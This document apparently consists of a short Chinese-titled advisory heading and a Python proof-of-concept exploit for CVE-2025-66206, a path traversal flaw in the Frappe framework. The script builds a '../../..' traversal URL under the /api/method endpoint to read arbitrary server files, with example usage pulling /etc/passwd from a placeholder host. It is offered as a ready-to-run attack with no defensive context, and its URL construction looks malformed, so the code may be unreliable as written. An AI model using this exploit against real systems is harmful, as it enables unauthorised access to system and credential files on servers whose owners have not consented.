CVE-2025-66206 Frappe框架路径遍历漏洞

import requests # CVE-2025-66206 Path Traversal PoC for Frappe Framework # Target: Frappe instances directly exposed without reverse proxy def exploit_path_traversal(target_url, file_path): """ Exploit path traversal vulnerability to read arbitrary files Args: target_url: Base URL of vulnerable Frappe instance file_path: Absolute path of file to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ # Path traversal payload traversal = "../../.." encoded_path = file_path.lstrip("/") # Construct malicious URL exploit_url = f"{target_url}/api/method/frappe.app.{traversal}/{encoded_path}" try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: return response.text except requests.RequestException as e: print(f"Request failed: {e}") return None # Example usage if __name__ == "__main__": target = "http://vulnerable-frappe-server.com" target_file = "etc/passwd" result = exploit_path_traversal(target, target_file) if result: print("File contents retrieved:") print(result)